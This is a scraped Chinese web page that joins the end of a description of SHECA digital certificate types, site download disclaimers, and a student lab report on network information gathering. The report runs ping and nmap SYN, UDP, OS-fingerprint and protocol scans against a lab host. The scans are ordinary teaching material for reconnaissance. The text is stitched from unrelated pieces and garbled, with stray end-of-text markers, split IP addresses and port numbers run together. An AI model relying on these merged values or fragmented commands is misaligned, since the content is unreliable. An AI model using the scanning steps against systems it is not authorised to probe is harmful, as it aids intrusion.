1.22单位Email证书用于标志单位Email证书持有人电子邮件（Email）的身份。
证书持有人可以在电子邮件中对信件内容进行加密和签名操作1.23申请部门证书根据各个单位的不同需要，对于颁发给某个部门使用并用来证明该部门身份的数字证书。
1.24申请职位证书包含证书持有者的职位的基本信息、公钥及SHECA的签名，用来标识网络通讯中证书持有者的身份，可以存储在硬盘、USB Key、IC 卡等各类介质中1.25申请单位代码签名证书以单位身份申请，用于对软件代码进行签名，以有效防止其软件代码被篡改，拥有者身份被冒用等。
下载经过代码签名的软件时，可以确保软件的来源和完整性。
1.3其它证书（Web服务器证书、应用服务器证书、VPN网关证书、VPN客户端证书）1.31申请Web服务器证书和网站的IP地址、域名绑定，可以保证网站的真实性和不被人仿冒，通过在用户端浏览器和Web服务器之间建立SSL安全通道，保证用户在网络通讯中的安全性。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
《计算机网络安全》实验报告
信息搜集年级：
全文结束》》级专业：
网络工程班级：
一班姓名：
张帅学号：1425131032 成绩：
指导教师：
卢正添提交报告时间：
全文结束》》年5月21 日
一、实验目的
1、了解信息搜集的一般步骤
2、学会熟练使用ping命令
3、学会利用Nmap等工具进行信息搜集
二、系统环境Windows、Linux
三、网络环境交换网络结构
四、实验步骤与实验结果一、信息搜集
1、ping探测主机A开启命令行，对主机B进行ping探测，根据主机B的回复，可以确定主机A和主机B之间的连通情况，还可以根据回复数据包的TTL值对操作系统进行猜测。
回复数据包的TTL值：64 ，主机B操作系统可能为：
Linux 。
2、 Nmap扫描（1）对活动主机进行端口扫描主机A使用Nmap工具对主机B进行TCP端口同步扫描（范围1-150）：Nmap命令nmap –sS1
72、
16、0、60 –p1-150 ；主机B开放的TCP端口212223258088139 。
对主机B进行UDP端口扫描（范围是110-140）：
Nmap命令 nmap –sU1
72、
16、0、60 –p110-140 ；主机B开放的UDP端口111123137138 。
（2）对活动主机操作系统进行探测主机A对主机B进行TCP/IP指纹特征扫描：Nmap命令 nmap –O1
72、
16、0、60 （3）对活动主机运行服务进行探测主机A单击平台工具栏“协议分析器”按钮，启动协议分析器进行数据包捕获。
打开IE在地址栏中输入://主机B的IP，访问主机B的web 服务，停止协议分析器，查看捕获结果。
图1-1-1可做为参考。
图1-1-1 会话分析由图1-1-1可判断目标主机web服务使用的软件类型是 Apache/
2、2、0(Fedora)。
请探测目标主机FTP服务使用的软件类型是vsftp。
（4）对活动主机IP协议进行探测主机A使用Nmap命令对主机B进行IP协议探测：
N命令nmap –sO1
72、
16、0、60；查看扫描结果
3、探测总结根据上述实验所得结果，填写表1-1-1。
目标主机ip目标主机mac 目标主机开放端口目标主机操作系统1
72、
16、0、
6000:0c:29:8f:f7:62212223258088139;111123137138linux目标主机开放服务目标主机服务软件服务软件版主主机支持的ip协议Web服务，ftp服务Apache,vsftp
2、2、0Icmp,esp,ah 表1-1-1 探测结果
5、思考问题与答案137/UDP端口提供的是什么服务？Linux 系统是否提供此服务？137端口提供bios-ns服务，主要在局域网中提供计算机的名字或ip地址查询。
Linux系统也可使用该服务只要安装了对应的软件包。